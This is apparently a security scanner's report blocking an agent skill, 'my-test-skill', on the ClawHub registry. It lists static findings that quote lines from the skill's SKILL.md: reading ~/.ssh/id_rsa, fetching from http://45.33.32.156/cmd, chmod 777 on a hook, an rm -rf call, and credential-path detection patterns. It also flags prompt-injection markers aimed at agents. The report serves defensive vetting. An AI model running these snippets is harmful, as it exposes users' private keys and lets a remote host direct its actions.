Skills/ClawHub/my-test-skill

my-test-skill@0.0.1

BLOCKED· static only

Publisher claims: "Intelligent code security scanner with hybrid local-cloud detection. Fingerprints packages, runs static behavioral analysis, and consults cloud threat intell..." Observed in sandbox: static analysis only — behavior not yet observed.

Registry ClawHubPublisher jinxiaotian1 · publishing for 253 daysInstalls 1,054Last detonated 21 min ago

Coverage

Static only; nothing was run yet.

The label rests on the code, the instruction files and the publisher. The honeypot run replaces this verdict when it completes.

Is [email protected] safe to install?

KillerSkills analysed it statically (a sandbox run is pending) on 2026-11-20 and scored it 45/100 (Blocked). Do not install it: the sandbox observed behaviour consistent with credential theft, exfiltration or persistence. Notable findings: References a credential file in the home directory; Prompt injection; Reads credential paths from the home directory. Summary: static analysis only — behavior not yet observed.

Behavior trace

Queued for honeypot run · static analysis only
t+CategoryObserved action

This version has not been detonated yet. The score above counts behavior as unknown (50/100), so it cannot read Verified until the honeypot run completes and replaces this verdict.

Static findings

HIGH
References a credential file in the home directorySKILL.md:321 · References a credential file in the home directory"context": "open(os.path.expanduser('~/.ssh/id_rsa')).read()"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
CRITICAL
Prompt injectionSKILL.md:227 · Prompt injection — known jailbreak technique referencejailbreak persona triggers, and SYSTEM-level injection markers in non-system contexts).Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
HIGH
Reads credential paths from the home directorySKILL.md:157 · Reads credential paths from the home directory| `FS_READ_SENSITIVE` | Reads from `~/.ssh`, `~/.gnupg`, `~/.aws`, `~/.config/gh` | +30 |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
HTTP URL with a raw public IP addressSKILL.md:279 · HTTP URL with a raw public IP address — a hard-coded destination that domain-based monitoring cannot name"value": "http://45.33.32.156/cmd",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
File permission modification commandSKILL.md:163 · File permission modification command — agent changes file ownership/permissions| `PRIV_ESCALATION` | `sudo`, `chmod 777`, `setuid` patterns | +30 |Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
HIGH
Access to sensitive file pathsSKILL.md:202 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescat.*id_rsa|cat.*\.env|keyring\.getFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
URL using a raw public IP addressSKILL.md:279 · URL using a raw public IP address — may bypass domain-based filtering"value": "http://45.33.32.156/cmd",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
URL using a raw public IP addressSKILL.md:400 · URL using a raw public IP address — may bypass domain-based filtering"evidence": "http://45.33.32.156/cmd",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
Access to sensitive file pathsSKILL.md:157 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files| `FS_READ_SENSITIVE` | Reads from `~/.ssh`, `~/.gnupg`, `~/.aws`, `~/.config/gh` | +30 |Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
OS command execution function call detectedSKILL.md:305 · OS command execution function call detected"context": "os.system('chmod 777 /usr/local/bin/hook')"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
HTTP URL with a raw public IP addressSKILL.md:400 · HTTP URL with a raw public IP address — a hard-coded destination that domain-based monitoring cannot name"evidence": "http://45.33.32.156/cmd",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
URL using a raw public IP addressSKILL.md:282 · URL using a raw public IP address — may bypass domain-based filtering"context": "urllib.request.urlopen('http://45.33.32.156/cmd')"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
Reads credential paths from the home directorySKILL.md:321 · Reads credential paths from the home directory"context": "open(os.path.expanduser('~/.ssh/id_rsa')).read()"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
References a credential file in the home directorySKILL.md:318 · References a credential file in the home directory"value": "~/.ssh/id_rsa",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
MEDIUM
File permission modification commandSKILL.md:302 · File permission modification command — agent changes file ownership/permissions"value": "chmod 777 /usr/local/bin/hook",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
HIGH
Access to sensitive file pathsSKILL.md:242 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files- File content from sensitive paths (`~/.ssh`, `~/.aws`, `~/.env`) is never included — only the **path** and **access pattern** are sentFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Destructive file system command detectedSKILL.md:288 · Destructive file system command detected"value": "rm -rf /tmp/traces",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
HTTP URL with a raw public IP addressSKILL.md:282 · HTTP URL with a raw public IP address — a hard-coded destination that domain-based monitoring cannot name"context": "urllib.request.urlopen('http://45.33.32.156/cmd')"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Python subprocess execution detectedSKILL.md:291 · Python subprocess execution detected"context": "subprocess.run(['rm', '-rf', '/tmp/traces'], shell=True)"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File permission modification commandSKILL.md:305 · File permission modification command — agent changes file ownership/permissions"context": "os.system('chmod 777 /usr/local/bin/hook')"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05

Cost to the agent

Instructions loaded
≈5,533 tok
1 file · 4 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

35 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim jinxiaotian1: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. References a credential file in the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  3. Reads credential paths from the home directory≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  4. HTTP URL with a raw public IP address≈ +4 on the totalReplace encoded or assembled strings with plain literals and remove undeclared network calls.
  5. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  6. OS command execution function call detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
Publish a new version to ClawHub, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim jinxiaotian1Propose a patch to the maintainer